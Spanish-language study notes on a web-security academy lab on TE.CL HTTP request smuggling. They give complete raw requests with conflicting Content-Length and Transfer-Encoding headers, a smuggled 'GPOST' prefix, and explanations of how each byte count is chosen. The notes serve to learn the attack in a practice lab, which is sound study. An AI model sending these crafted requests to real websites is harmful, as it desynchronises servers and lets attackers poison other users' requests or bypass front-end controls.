02 - HTTP request smuggling, basic TE.CL vulnerability
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
Aquí el frontend pillará hasta el 0 y el backend pillará 8\r\n
Se colará SMUGGLED\r\n0
Vamos a tener que quitar la opción de Update Content length para que no se actualice automáticamente:
Acordarse de usar HTTP1.1
- Si se queda colgada la request es por que el backend se ha quedado esperando a que se completen los bytes prometidos en el content-length
- Si responde con un 400 es porque el frontend ha recibido un contenido chunked inválido.
Si nos peta el LAB, es porque una de las dos partes se ha quedado rallada, necesitamos enviar una request normal indicando un content length válido :
POST / HTTP/2
Host: 0a1700300430f046802e8ab9000800d3.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
Para medir 5C tendríamos que pillar hasta el 1 :
- El primer Content-Length es 4 porque el backend pillará 5c\r\n como la primera request y el resto como la segunda.
POST / HTTP/1.1\r\n
Host: 0a1700300430f046802e8ab9000800d3.web-security-academy.net\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 11\r\n
\r\n
x=1\r\n
0\r\n
\r\n
- Es 5c porque es lo que mide la request que le llega al frontend
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 11
- El segundo Content-Length es 11 porque es lo que mide el body de la request smuggleada +1 , para que al hacer la petición normal nos venga la respuesta de la del GPOST:
x=1\r\n
0\r\n
\r\n